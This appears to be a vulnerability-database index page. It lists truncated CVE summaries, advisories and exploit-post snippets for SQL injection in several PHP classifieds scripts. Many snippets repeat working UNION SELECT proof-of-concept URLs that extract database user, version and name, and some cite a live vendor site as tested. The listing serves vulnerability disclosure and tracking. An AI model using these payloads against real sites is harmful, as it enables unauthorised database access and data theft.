CVE-2008-2846

CVE-2008-2846 affects BoatScripts Classifieds with an SQL injection in index.php via the type parameter. The vulnerability allows remote attackers to execute arbitrary SQL commands. The NVD entry lists a base score of 7.5 (HIGH) with Network attack vector, Low complexity, no authentication, and p...

MyBizz-Classifieds 'index.php' SQL注入漏洞

BUGTRAQ ID: 29798 CNCAN ID：CNCAN-2008062304 MyBizz-Classifieds是一款基于PHP的WEB应用程序。 MyBizz-Classifieds不正确处理用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可能获得敏感信息或操作数据库。 问题是'index.php'脚本对用户提交给"cat"参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。 MyBizz-Classifieds 目前没有详细解决方案提供： http://www.mybizz-classifieds.com/...

BoatScripts Classifieds (index.php type) SQL Injection Vulnerability

No description provided by source. BoatScripts Classifieds Sql INjection By Stack Home v4-team.com poc : http://site.co.il/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/ live demo tested...

Carscripts Classifieds (index.php cat) Remote SQL Injection Vulnerability

No description provided by source. Carscripts Classifieds Sql INjection By Stack Home v4-team.com + : you can see the Result in 'Title' + : Open the source page to see the result poc : http://site.co.il/index.php?cat=-1//UNION//SELECT//concatchar58,user,version,database,2,3/ live demo...

boatscripts-sql.txt

BoatScripts Classifieds Sql INjection By Stack Home v4-team.com poc : http://site.co.il/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/ live demo tested http://www.boatscripts.com/boats/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/...

carscripts-sql.txt

Carscripts Classifieds Sql INjection By Stack Home v4-team.com + : you can see the Result in 'Title' + : Open the source page to see the result poc : http://site.co.il/index.php?cat=-1//UNION//SELECT//concatchar58,user,version,database,2,3/ live demo...

Mybizz-Classifieds (index.php cat) SQL Injection Vulnerability

No description provided by source. Mybizz Classifieds HaCkerEgy Contact : [email protected] Home : pal-hacker.com & atsdp.com =============================================== Script : mybizz classifieds Download : http://www.mybizz-classifieds.com/ =============================================...

Mybizz-Classifieds (index.php cat) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================== Mybizz-Classifieds index.php cat SQL Injection Vulnerability ============================================================== Mybizz Classifieds HaCkerEgy...

Carscripts Classifieds - cat SQL Injection

Carscripts Classifieds - cat SQL Injection Carscripts Classifieds Sql INjection By Stack Home v4-team.com + : you can see the Result in 'Title' + : Open the source page to see the result poc : http://site.co.il/index.php?cat=-1//UNION//SELECT//concatchar58,user,version,database,2,3/ live demo...

Mybizz-Classifieds - 'cat' SQL Injection

Mybizz Classifieds HaCkerEgy Contact : [email protected] Home : pal-hacker.com & atsdp.com =============================================== Script : mybizz classifieds Download : http://www.mybizz-classifieds.com/ =============================================== Exploit : ==...

BoatScripts Classifieds - type SQL Injection

BoatScripts Classifieds - type SQL Injection BoatScripts Classifieds Sql INjection By Stack Home v4-team.com poc : http://site.co.il/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/ live demo tested...

Mybizz-Classifieds - cat SQL Injection

Mybizz-Classifieds - cat SQL Injection Mybizz Classifieds HaCkerEgy Contact : [email protected] Home : pal-hacker.com & atsdp.com =============================================== Script : mybizz classifieds Download : http://www.mybizz-classifieds.com/...

Carscripts Classifieds - 'cat' SQL Injection

Carscripts Classifieds Sql INjection By Stack Home v4-team.com + : you can see the Result in 'Title' + : Open the source page to see the result poc : http://site.co.il/index.php?cat=-1//UNION//SELECT//concatchar58,user,version,database,2,3/ live demo...

BoatScripts Classifieds (index.php type) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ==================================================================== BoatScripts Classifieds index.php type SQL Injection Vulnerability ==================================================================== BoatScripts Classifieds Sql...

Carscripts Classifieds (index.php cat) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ========================================================================= Carscripts Classifieds index.php cat Remote SQL Injection Vulnerability ========================================================================= Carscripts...

mybizz-sql.txt

Mybizz Classifieds HaCkerEgy Contact : [email protected] Home : pal-hacker.com & atsdp.com =============================================== Script : mybizz classifieds Download : http://www.mybizz-classifieds.com/ =============================================== Exploit : ==...

BoatScripts Classifieds - 'type' SQL Injection

BoatScripts Classifieds Sql INjection By Stack Home v4-team.com poc : http://site.co.il/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/ live demo tested http://www.boatscripts.com/boats/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/ milw0rm.com 2008-06...

CVE-2008-2453

Multiple SQL injection vulnerabilities in PHP Classifieds Script allow remote attackers to execute arbitrary SQL commands via the fatherID parameter to 1 browse.php and 2 search.php...

CVE-2008-2453

Multiple SQL injection vulnerabilities in PHP Classifieds Script allow remote attackers to execute arbitrary SQL commands via the fatherID parameter to 1 browse.php and 2 search.php...

CVE-2008-2453

CVE-2008-2453 affects the PHP Classifieds Script, with two SQL injection flaws: the fatherID parameter in browse.php and search.php. The underlying issue allows remote attackers to execute arbitrary SQL commands. Impact is described as remote arbitrary SQL execution with partial confidentiality/i...